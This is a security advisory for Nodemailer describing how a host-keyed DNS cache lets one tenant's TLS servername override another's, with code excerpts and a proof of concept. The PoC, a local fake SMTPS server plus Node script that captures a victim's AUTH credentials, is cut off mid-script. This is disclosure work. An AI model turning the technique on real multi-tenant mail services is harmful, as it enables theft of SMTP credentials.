GHSA-6vj9-mwq6-2f5v

Summary

Nodemailer's process-global DNS cache is keyed only by host, but each cache entry also stores the caller-specific TLS servername. When two direct SMTPS transports use the same DNS host with different tls.servername values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with rejectUnauthorized: true, and sends the victim's SMTP credentials to it.

Affected component

• Ecosystem: npm
• Package: nodemailer
• Repository: https://github.com/nodemailer/nodemailer
• Tested version: 10.0.1
• Tested commit: 40d52215aac65b811d7e131bc916f68605efd9d2
• Runtime-confirmed vulnerable versions: 5.0.0 and 10.0.1
• Affected versions: >= 5.0.0, <= 10.0.1
• Patched versions: None known at the time of this report
• Affected mode: Direct TLS/SMTPS connections (secure: true) where different transports use the same non-IP host and different TLS servername values

The vulnerable cache implementation was introduced in commit 6859b5dd96c8d9f0070a3169a877181b71df4a3b on 2018-12-28. Git history shows v5.0.0 as the first release tag containing that commit. The behavior remains present in v10.0.1.

Details

Root cause

src/shared/index.ts defines one module-global DNS cache, keyed only by the DNS host:

export const dnsCache = new Map<string, DnsCacheEntry>();

Although the cache key contains only host, the cached value contains both DNS addresses and the request-specific TLS identity:

const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});

On a cache hit, resolveHostname() returns the cached servername without considering the current call's options.servername:

if (!cached.expires || cached.expires >= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}

formatDNSValue() copies that stale value into the result:

return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);

For a direct TLS connection, SMTPConnection.connect() initially copies the current transport's TLS configuration into opts. _resolveAndConnect() then overwrites every truthy field with the cached resolver result, including opts.servername:

Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved => {
    this._connectToHost(opts, this.secureConnection);
});

for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}

The resulting opts object is passed to tls.connect(). Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.

The default DNS cache TTL is five minutes:

const DNS_TTL = 5 * 60 * 1000;

Code path

Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -> SMTPConnection.connect()
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: attackerName })
  -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -> SMTPConnection.connect()
  -> opts.servername = victimName
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: victimName })
  -> dnsCache.get(H)
  -> returns cached servername = attackerName
  -> _resolveAndConnect overwrites opts.servername
  -> tls.connect({ servername: attackerName })
  -> attacker SNI virtual host and certificate are selected
  -> AUTH transmits victim SMTP credentials

Relevant source locations in the tested revision

• src/shared/index.ts:184 — five-minute default cache TTL
• src/shared/index.ts:245 — process-global cache keyed by host
• src/shared/index.ts:247-262 — cached servername returned by formatDNSValue()
• src/shared/index.ts:292-323 — host-only lookup and cache-hit return
• src/shared/index.ts:350-359 — caller-specific servername stored in host-only cache
• src/smtp-connection/index.ts:713-729 — direct TLS options and resolver call
• src/smtp-connection/index.ts:741-763 — cached fields overwrite current connection options

PoC

Prerequisites

• Node.js 20 (tested with Node.js 20.20.2)
• A checkout/build of Nodemailer 10.0.1
• OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

1. Generate a certificate for only attacker.test

Create openssl.cnf:

[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth

Generate the certificate and private key:

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf

2. Save the following as poc-dns-cache-servername-confusion.mjs

Adjust the two import paths if the PoC is not saved beside the repository checkout.

import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => {
    observedSni.push(socket.servername);
    socket.write('220 attacker.test ESMTP\r\n');
    let input = '';
    socket.on('data', chunk => {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf('\r\n')) >= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write('235 2.7.0 Authentication successful\r\n');
            } else if (/^QUIT/i.test(line)) {
                socket.end('221 Bye\r\n');
            } else {
                socket.write('250 OK\r\n');
            }
        }
    });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },
        tls: {
            ca: cert,
            servername: 'attacker.test',
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victi